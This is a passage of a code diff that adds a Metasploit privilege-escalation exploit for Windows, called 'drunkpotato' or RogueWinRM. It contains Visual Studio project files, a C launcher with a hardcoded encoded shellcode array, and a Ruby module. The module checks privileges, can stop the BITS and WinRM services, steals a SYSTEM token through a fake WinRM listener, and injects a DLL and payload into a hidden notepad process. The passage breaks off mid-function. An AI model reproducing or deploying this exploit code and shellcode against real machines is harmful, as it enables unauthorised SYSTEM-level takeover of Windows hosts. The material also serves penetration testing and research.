|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;DEBUGTRACE;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
90
external/source/exploits/drunkpotato/RogueWinRM exe/RogueWinRM exe.vcxproj.filters
vendored
Normal file
90
external/source/exploits/drunkpotato/RogueWinRM exe/RogueWinRM exe.vcxproj.filters
vendored
Normal file
@ -0,0 +1,90 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Fichiers sources">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Fichiers d%27en-tête">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Fichiers de ressources">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Fichiers sources\Services">
|
||||
<UniqueIdentifier>{39a76e9d-ab1f-4748-ad0d-55acbfcc1dc1}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Fichiers sources\spnegotokenhandler">
|
||||
<UniqueIdentifier>{316e2980-b9d8-47af-a64d-8af30c16ac35}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Fichiers d%27en-tête\spnegotokenhandler">
|
||||
<UniqueIdentifier>{fb17173e-62a9-4c1c-ab43-b8c993787491}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Fichiers d%27en-tête\Services">
|
||||
<UniqueIdentifier>{4c5a2b31-0594-4051-830e-e942ca3b1a13}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c">
|
||||
<Filter>Fichiers sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\base64.c">
|
||||
<Filter>Fichiers sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\LocalNegotiator.c">
|
||||
<Filter>Fichiers sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\pch.c">
|
||||
<Filter>Fichiers sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\RogueWinRM.c">
|
||||
<Filter>Fichiers sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\Services\elevatorService.c">
|
||||
<Filter>Fichiers sources\Services</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\Services\service.c">
|
||||
<Filter>Fichiers sources\Services</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\derparse.c">
|
||||
<Filter>Fichiers sources\spnegotokenhandler</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\spnego.c">
|
||||
<Filter>Fichiers sources\spnegotokenhandler</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\spnegoparse.c">
|
||||
<Filter>Fichiers sources\spnegotokenhandler</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\derparse.h">
|
||||
<Filter>Fichiers d%27en-tête\spnegotokenhandler</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\spnego.h">
|
||||
<Filter>Fichiers d%27en-tête\spnegotokenhandler</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\spnegoparse.h">
|
||||
<Filter>Fichiers d%27en-tête\spnegotokenhandler</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\Common_Src_Files\Services\elevatorService.h">
|
||||
<Filter>Fichiers d%27en-tête\Services</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\Common_Src_Files\Services\service.h">
|
||||
<Filter>Fichiers d%27en-tête\Services</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\Common_Src_Files\base64.h">
|
||||
<Filter>Fichiers d%27en-tête</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\Common_Src_Files\LocalNegotiator.h">
|
||||
<Filter>Fichiers d%27en-tête</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\Common_Src_Files\pch.h">
|
||||
<Filter>Fichiers d%27en-tête</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\Common_Src_Files\RogueWinRM.h">
|
||||
<Filter>Fichiers d%27en-tête</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
37
external/source/exploits/drunkpotato/RogueWinRM exe/main.c
vendored
Normal file
37
external/source/exploits/drunkpotato/RogueWinRM exe/main.c
vendored
Normal file
@ -0,0 +1,37 @@
|
||||
/*
|
||||
This is an escalation privilege exploit which launch an arbitrary process as SYSTEM user.
|
||||
It takes advantage of the BITS behavior which always try to connect on port 5985 (Windows
|
||||
Remote Management) even if there is no WinRM service listening on that port. This exploit
|
||||
launch a rogue WinRM service which force BITS service to authenticate by sending it a 401
|
||||
challenge response packet. The authentication allows to steal a SYSTEM token as a primary
|
||||
token, and use it to launch an arbitrary process as SYSTEM.
|
||||
|
||||
In practice, this exploit launch notepad.exe as SYSTEM. Then, it copies the shellcode
|
||||
received from metasploit into the remote SYSTEM process and make it trigger its execution.
|
||||
|
||||
Details of the vulnerability here :
|
||||
https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
|
||||
|
||||
This exploit was developed from decoder's POC here:
|
||||
https://github.com/antonioCoco/RogueWinRM
|
||||
|
||||
PREREQUISITES/
|
||||
- Port 5985 must be free
|
||||
- BITS must not be running
|
||||
|
||||
WARNING:
|
||||
- As this exploit launches a services, a firewall popup may appear.
|
||||
*/
|
||||
|
||||
#include "../Common_Src_Files/pch.h"
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
int exit_status = -1;
|
||||
char shellcode[] = "47001\x00notepad.exe\x00\x31\x33\x38\x34\00\x48\x31\xc9\x48\x81\xe9\xa1\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\x6c\xdd\xf4\xfa\xe9\x0d\x46\xb4\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x90\x95\x77\x1e\x19\xe5\x8a\xb4\x6c\xdd\xb5\xab\xa8\x5d\x14\xe5\x24\xec\x26\x9f\xa1\x86\x14\xd4\x3a\x95\x7f\xa8\xf1\x45\xcd\xe6\x4c\x95\x7f\x88\xb9\x45\x49\x03\x26\x97\xb9\xcb\x20\x45\x77\x74\xc0\xe1\x95\x86\xeb\x21\x66\xf5\xad\x14\xf9\xbb\xe8\xcc\xa4\x59\x3e\x9c\xa5\xb2\x62\x5f\x66\x3f\x2e\xe1\xbc\xfb\x39\x6b\xc7\xcc\x74\xd6\xf6\xf5\x6c\x7f\x46\xb4\x6c\x56\x74\x72\xe9\x0d\x46\xfc\xe9\x1d\x80\x9d\xa1\x0c\x96\xf0\xe7\x9d\xd4\xaa\xa0\x0c\x96\x3f\x24\xc5\x17\xac\xa4\x3c\x8f\xfc\x93\x14\xb5\x71\xdd\x85\x0e\xb5\xba\x95\xc5\x3a\x45\x4c\x87\x7d\x61\x9c\xf5\x3b\xd1\xed\x33\x45\x20\xde\xb8\xde\xe1\x48\x7f\x65\x19\x05\xac\xbe\x62\x4d\x62\xfd\x6d\x0d\x92\xbb\x62\x01\x0e\xf0\xe7\x9d\xe8\xb3\xe8\xdd\x07\x3f\x68\x55\xbc\xfb\x39\x4c\x1e\xf5\x34\x83\xad\xa0\xa8\x55\x07\xed\x2d\x87\xbc\x79\x05\x2d\x07\xe6\x93\x3d\xac\xbb\xb0\x57\x0e\x3f\x7e\x34\xbf\x05\x16\xf2\x1b\xfc\x5d\x06\xa7\xb3\x57\x7a\x2f\xda\x05\xb3\x91\x8e\xe9\x4c\x10\xfc\xe5\x3c\xbd\x3d\x2b\x41\x31\x92\x6b\x22\x21\xa9\xba\x45\xcf\x55\x3f\x87\xb9\xcb\x29\x40\x77\x7d\x3f\x8e\xbd\x40\xd3\x5b\x3f\x13\x6c\xdd\xf4\xfa\x16\xd8\xae\xb9\x6c\xdd\xf4\xcb\xd0\x3f\x68\x85\x5a\xe5\xda\xcb\xc7\x3e\x72\xb4\x36\x95\x7d\x3b\xa0\xca\x86\x08\x6d\xdd\xf4\xb7\xd8\xc4\x15\xe7\x06\xde\xa7\xb3\x53\x5a\xcf\x2b\xaa\xdd\xf4\xfa\xe9\xf2\x93\x5c\xa0\xdd\xf4\xfa\xc6\x48\x71\xd8\x5a\xb5\xb1\xca\xb3\x3f\x02\xcc\x0f\x9b\xc5\xca\xbf\x4c\x7f\xda\x06\xb4\xb5\xcc\xaa\x64\x11\xde\x1e\x8b\xad\xbf\xdb\x7c\x21\xd2\x06\xae\xa6\x90\x88\x54\x0c\xdc\x2b\x95\xc1\xb5\xa5\x62\x20\xcd\x16\x87\xa4\x9c\xdf\x49\x02\xee\x55\xb9\xa1\xc2\xbc\x43\x0c\xc2\x3f\xa5\x92\xd7\x99\x44\x3c\xf5\x08\xe9\xa1\x9c\x86\x67\x33\xda\x55\xe9\xcd\xac\x8e\x6e\x2e\xfe\x04\x91\x9f\xb2\xb1\x67\x37\xcd\x3f\xb1\xa4\xa0\x9a\x47\x0b\xeb\x1f\x97\xb0\x8d\xab\x4e\x70\xc1\x36\xb0\xc7\xa3\xc4\x6f\x21\xd6\x54\xf0\xab\x9c\xc4\x4c\x32\xdb\x20\xed\x91\xb1\x86\x3d\x27\xde\x2f\x9a\x90\xa9\xb9\x78\x0d\xd9\x0f\xa8\xc4\x94\xa7\x6e\x6b\xfd\x5c\x97\x97\x82\x9c\x77\x13\xfe\x02\x94\x99\xcb\xa1\x7e\x76\x83\x5e\x99\x82\x82\x8a\x3a\x3c\x87\x34\x8d\xb0\xaa\xba\x66\x75\x8c\x5e\xab\xbe\xb9\x8f\x47\x33\x83\x3b\xf0\x97\x82\x9f\x49\x14\xb4\x24\x54\x35\xa9\xb3\x4c\x1e\xf9\x5d\x14\xa7\xb2\x51\x0d\x74\x1c\xe8\xdd\xf4\xfa\xe9\x5d\x15\xe7\x25\x1a\x36\x11\xbc\x23\x7d\x4b\xb9\x95\x7d\x3c\x83\x07\x19\xfc\xe5\x2c\x9e\xe5\xb3\x5f\x2e\x34\x5f\xdd\xf4\xb3\x60\xed\x2c\xb0\x2d\x84\xbd\x40\x9c\x4b\xd8\x32\x6c\xdd\xf4\xfa\x16\xd8\x0b\x85\xac\x8e\xae\xb2\x60\xfc\x0b\x85\xa5\x90\xc5\x33\xba\x5e\x0f\x73\xae\xf0\xf2\xe2\x92\xf2\x93\x31\xac\xa8\xeb\xb2\x2e\xcc\xce\xa7\x6c\xdd\xbd\x40\xad\xfd\x73\x54\x6c\xdd\xf4\xfa\x16\xd8\x0e\x4b\xa3\xa9\xf6\x11\x43\xe5\x13\xb4\x6c\xdd\xa7\xa3\x83\x4d\x1c\xfd\xe5\x0c\x35\x18\xf9\x44\x81\x74\x6c\xcd\xf4\xfa\xa0\xb7\x1e\x10\x3f\x38\xf4\xfa\xe9\x0d\xb9\x61\x24\x4e\xa7\xa9\xa1\x84\xa1\xfc\xe5\x2c\xbc\x73\x33\x44\x81\x74\x6c\xfd\xf4\xfa\xa0\x84\xbf\xfd\xd6\xcf\x62\x73\x0b\x0d\x46\xb4\x6c\x22\x21\xb2\x6a\xc9\x66\x31\xac\xa9\x46\x9c\x62\x0a\x0e\xb5\xaf\x58\x34\x8f\x3b\x55\x85\xec\x06\xdd\xad\xb3\x2e\xcf\xb6\x01\xce\x8b\x0b\x2f\xe9\x0d\x46\xb4";
|
||||
|
||||
dprintf("[main] Entry point.");
|
||||
|
||||
exit_status = RunRogueWinRM(shellcode);
|
||||
return exit_status;
|
||||
}
|
41
external/source/exploits/drunkpotato/bits_ntlm_token_impersonation.sln
vendored
Normal file
41
external/source/exploits/drunkpotato/bits_ntlm_token_impersonation.sln
vendored
Normal file
@ -0,0 +1,41 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.30320.27
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RogueWinRM exe", "RogueWinRM exe\RogueWinRM exe.vcxproj", "{1A369363-2FE2-4694-9135-EA1A19105473}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RogueWinRM dll", "RogueWinRM dll\RogueWinRM dll.vcxproj", "{0DE97039-6DA0-4844-BD1F-15425D3C0330}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{1A369363-2FE2-4694-9135-EA1A19105473}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{1A369363-2FE2-4694-9135-EA1A19105473}.Debug|x64.Build.0 = Debug|x64
|
||||
{1A369363-2FE2-4694-9135-EA1A19105473}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{1A369363-2FE2-4694-9135-EA1A19105473}.Debug|x86.Build.0 = Debug|Win32
|
||||
{1A369363-2FE2-4694-9135-EA1A19105473}.Release|x64.ActiveCfg = Release|x64
|
||||
{1A369363-2FE2-4694-9135-EA1A19105473}.Release|x64.Build.0 = Release|x64
|
||||
{1A369363-2FE2-4694-9135-EA1A19105473}.Release|x86.ActiveCfg = Release|Win32
|
||||
{1A369363-2FE2-4694-9135-EA1A19105473}.Release|x86.Build.0 = Release|Win32
|
||||
{0DE97039-6DA0-4844-BD1F-15425D3C0330}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{0DE97039-6DA0-4844-BD1F-15425D3C0330}.Debug|x64.Build.0 = Debug|x64
|
||||
{0DE97039-6DA0-4844-BD1F-15425D3C0330}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{0DE97039-6DA0-4844-BD1F-15425D3C0330}.Debug|x86.Build.0 = Debug|Win32
|
||||
{0DE97039-6DA0-4844-BD1F-15425D3C0330}.Release|x64.ActiveCfg = Release|x64
|
||||
{0DE97039-6DA0-4844-BD1F-15425D3C0330}.Release|x64.Build.0 = Release|x64
|
||||
{0DE97039-6DA0-4844-BD1F-15425D3C0330}.Release|x86.ActiveCfg = Release|Win32
|
||||
{0DE97039-6DA0-4844-BD1F-15425D3C0330}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {6DC2263A-ECC4-4CB7-AFD2-D38D67EB517E}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
299
modules/exploits/windows/local/bits_ntlm_token_impersonation.rb
Normal file
299
modules/exploits/windows/local/bits_ntlm_token_impersonation.rb
Normal file
@ -0,0 +1,299 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/post/windows/reflective_dll_injection'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GreatRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||
|
||||
# Those are integer codes for representing the services involved in this exploit.
|
||||
BITS = 1
|
||||
WINRM = 2
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
{
|
||||
'Name' => 'SYSTEM token impersonation through NTLM bits authentication on missing WinRM Service.',
|
||||
'Description' => %q{
|
||||
This module exploit BITS behavior which tries to connect to the
|
||||
local Windows Remote Management server (WinRM) every times it
|
||||
starts. The module launches a fake WinRM server which listen on
|
||||
port 5985 and triggers BITS. When BITS starts, it tries to
|
||||
authenticate to the Rogue WinRM server, which allows to steal a
|
||||
SYSTEM token. This token is then used to launch a new process
|
||||
as SYSTEM user. In the case of this exploit, notepad.exe is launched
|
||||
as SYSTEM. Then, it write shellcode in its previous memory space
|
||||
and trigger its execution. As this exploit uses reflective dll
|
||||
injection, it does not write any file on the disk. See
|
||||
/documentation/modules/exploit/windows/local/bits_ntlm_token_impersonation.md
|
||||
for complementary words of information.
|
||||
|
||||
Vulnerable operating systems are Windows 10 and Windows servers where WinRM is not running.
|
||||
Lab experiments has shown that Windows 7 does not exhibit the vulnerable behavior.
|
||||
|
||||
WARNING:
|
||||
|
||||
- As this exploit runs a service on the target (Fake WinRM on port
|
||||
5985), a firewall popup may appear on target screen. Thus, this exploit
|
||||
may not be completely silent.
|
||||
|
||||
- This exploit has been successfully tested on :
|
||||
Windows 10 (10.0 Build 19041) 32 bits
|
||||
Windows 10 Pro, Version 1903 (10.0 Build 18362) 64 bits
|
||||
|
||||
- This exploit failed because of no BITS authentication attempt on:
|
||||
Windows 7 (6.1 Build 7601, Service Pack 1) 32 bits
|
||||
|
||||
- Windows servers are not vulnerable because a genuine WinRM
|
||||
service is already running, except if the user has disabled it
|
||||
(Or if this exploit succeed to terminate it).
|
||||
|
||||
- SE_IMPERSONATE_NAME or SE_ASSIGNPRIMARYTOKEN_NAME privs are
|
||||
required.
|
||||
|
||||
- BITS must not be running.
|
||||
|
||||
- This exploit automatically perform above quoted checks.
|
||||
run "check" command to run checklist.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Cassandre', # Adapted decoder's POC for metasploit
|
||||
'Andrea Pierini (decoder)', # Lonely / Juicy Potato. Has written the POC
|
||||
'Antonio Cocomazzi (splinter_code)',
|
||||
'Roberto (0xea31)',
|
||||
],
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'none',
|
||||
'WfsDelay' => '120'
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['Automatic', {}]
|
||||
],
|
||||
'Notes' =>
|
||||
{
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [SCREEN_EFFECTS],
|
||||
'Reliability' => [REPEATABLE_SESSION]
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'BadChars' => "\x00"
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/'],
|
||||
['URL', 'https://github.com/antonioCoco/RogueWinRM'],
|
||||
],
|
||||
'DisclosureDate' => 'Dec 06 2019',
|
||||
'DefaultTarget' => 0
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
shutdown_service_option_description = [
|
||||
'Should this module attempt to shutdown BITS and WinRM services if they are running?',
|
||||
'Setting this parameter to true is useful only if SESSION is part of administrator group.',
|
||||
'In the common usecase (running as LOCAL SERVICE) you don\'t have enough privileges.'
|
||||
].join(' ')
|
||||
|
||||
winrm_port_option_description = [
|
||||
'Port the exploit will listen on for BITS connexion.',
|
||||
'As the principle of the exploit is to impersonate a genuine WinRM service,',
|
||||
'it should listen on WinRM port. This is in most case 5985 but in some configuration,',
|
||||
'it may be 47001.'
|
||||
].join(' ')
|
||||
|
||||
host_process_option_description = [
|
||||
'The process which will be launched as SYSTEM and execute metasploit shellcode.',
|
||||
'This process is launched without graphical interface so it is hidden.'
|
||||
].join(' ')
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('SHUTDOWN_SERVICES', [true, shutdown_service_option_description, false]),
|
||||
OptPort.new('WINRM_RPORT', [true, winrm_port_option_description, 5985]),
|
||||
OptString.new('HOST_PROCESS', [true, host_process_option_description, 'notepad.exe'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
# Function used to perform all mandatory checks in order to assess
|
||||
# if the target is vulnerable before running the exploit.
|
||||
# Basically, this function does the following:
|
||||
# - Checks if current session has either SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
|
||||
# - Checks if operating system is neither Windows 7 nor Windows XP
|
||||
# - Checks if BITS and WinRM are running, and attempt to terminate them if the user
|
||||
# has specified the corresponding option
|
||||
# - Checks if the session is not already SYSTEM
|
||||
def check
|
||||
privs = client.sys.config.getprivs
|
||||
os = client.sys.config.sysinfo['OS']
|
||||
|
||||
# Fast fails
|
||||
if os.include?('Windows 7') || os.include?('Windows XP')
|
||||
print_bad("Operating system: #{os}")
|
||||
print_bad('BITS behavior on Windows 7 and previous has not been shown vulnerable.')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
unless privs.include?('SeImpersonatePrivilege') || privs.include?('SeAssignPrimaryTokenPrivilege')
|
||||
print_bad('Target session is missing both SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege.')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
vprint_good('Target session has either SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege.')
|
||||
|
||||
running_services_code = check_bits_and_winrm
|
||||
if running_services_code < 0
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
should_services_be_shutdown = datastore['SHUTDOWN_SERVICES']
|
||||
if running_services_code > 0
|
||||
if should_services_be_shutdown
|
||||
shutdown_service(running_services_code)
|
||||
sleep(2)
|
||||
running_services_code = check_bits_and_winrm
|
||||
end
|
||||
if [WINRM, WINRM + BITS].include?(running_services_code)
|
||||
print_bad('WinRM is running. Target is not exploitable.')
|
||||
return Exploit::CheckCode::Safe
|
||||
elsif running_services_code == BITS
|
||||
if should_services_be_shutdown
|
||||
print_warning('Failed to shutdown BITS.')
|
||||
end
|
||||
print_warning('BITS is running. Don\'t panic, the exploit should handle this, but you have to wait for BITS to terminate.')
|
||||
end
|
||||
end
|
||||
|
||||
if is_system?
|
||||
print_bad('Session is already elevated.')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
vprint_good('Session is not (yet) System.')
|
||||
Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
#
|
||||
# This function is dedicated in checking if bits and WinRM are running.
|
||||
# It returns the running services. If both services are down, it returns 0.
|
||||
# If BITS is running, it returns 1 (Because BITS class constant = 1). If
|
||||
# WinRM is running, it returns 2. And if both are running, it returns
|
||||
# BITS + WINRM = 3.
|
||||
def check_bits_and_winrm
|
||||
check_command = 'powershell.exe Get-Service -Name BITS,WinRM'
|
||||
result = cmd_exec(check_command)
|
||||
vprint_status('Checking if BITS and WinRM are stopped...')
|
||||
|
||||
if result.include?('~~')
|
||||
print_bad('Failed to retrieve infos about WinRM and BITS. Access is denied.')
|
||||
return -1
|
||||
end
|
||||
|
||||
if result.include?('Stopped BITS') && result.include?('Stopped WinRM')
|
||||
print_good('BITS and WinRM are stopped.')
|
||||
return 0
|
||||
end
|
||||
|
||||
if result.include?('Running BITS') && result.include?('Stopped WinRM')
|
||||
print_warning('BITS is currently running. It must be down for the exploit to succeed.')
|
||||
return BITS
|
||||
end
|
||||
|
||||
if result.include?('Stopped BITS') && result.include?('Running WinRM')
|
||||
print_warning('WinRM is currently running. It must be down for the exploit to succeed.')
|
||||
return WINRM
|
||||
end
|
||||
|
||||
if result.include?('Running BITS') && result.include?('Running WinRM')
|
||||
print_warning('BITS and WinRM are currently running. They must be down for the exploit to succeed.')
|
||||
return BITS + WINRM
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Attempt to shutdown services through powershell.
|
||||
def shutdown_service(service_code)
|
||||
stop_command_map = {
|
||||
BITS => 'powershell.exe Stop-Service -Name BITS',
|
||||
WINRM => 'powershell.exe Stop-Service -Name WinRM',
|
||||
BITS + WINRM => 'powershell.exe Stop-Service -Name BITS,WinRM'
|
||||
}
|
||||
print_status('Attempting to shutdown service(s)...')
|
||||
cmd_exec(stop_command_map[service_code])
|
||||
end
|
||||
|
||||
def exploit
|
||||
payload_name = datastore['PAYLOAD']
|
||||
payload_arch = framework.payloads.create(payload_name).arch
|
||||
winrm_port = datastore['WINRM_RPORT']
|
||||
host_process_name = datastore['HOST_PROCESS']
|
||||
|
||||
if payload_arch.first == ARCH_X64
|
||||
dll_file_name = 'drunkpotato.x64.dll'
|
||||
vprint_status('Assigning payload drunkpotato.x64.dll')
|
||||
elsif payload_arch.first == ARCH_X86
|
||||
dll_file_name = 'drunkpotato.x86.dll'
|
||||
vprint_status('Assigning payload drunkpotato.x86.dll')
|
||||
else
|
||||
fail_with(Failure::BadConfig, 'Unknown target arch; unable to assign exploit code')
|
||||
end
|
||||
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'drunkpotato', dll_file_name)
|
||||
library_path = ::File.expand_path(library_path)
|
||||
|
||||
print_status('Launching notepad to host the exploit...')
|
||||
notepad_path = get_notepad_pathname(
|
||||
payload_arch.first,
|
||||
client.sys.config.getenv('windir'),
|
||||
client.arch
|
||||
)
|
||||
notepad_process = client.sys.process.execute(notepad_path, nil, { 'Hidden' => true })
|
||||
begin
|
||||
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
|
||||
print_good("Process #{process.pid} launched.")
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
# Reader Sandbox won't allow to create a new process:
|
||||
# stdapi_sys_process_execute: Operation failed: Access is denied.
|
||||
print_error('Operation failed. Trying to elevate the current process...')
|
||||
process = client.sys.process.open
|
||||
end
|
||||
|
||||
print_status("Injecting exploit into #{process.pid}...")
|
||||
exploit_mem, offset = inject_dll_into_process(process, library_path)
|
||||
|
||||
print_status("Exploit injected. Injecting payload into #{process.pid}...")
|
||||
formatted_payload = [
|
||||
winrm_port.to_s,
|
||||
host_process_name,
|
||||
payload.encoded.length.to_s,
|
||||
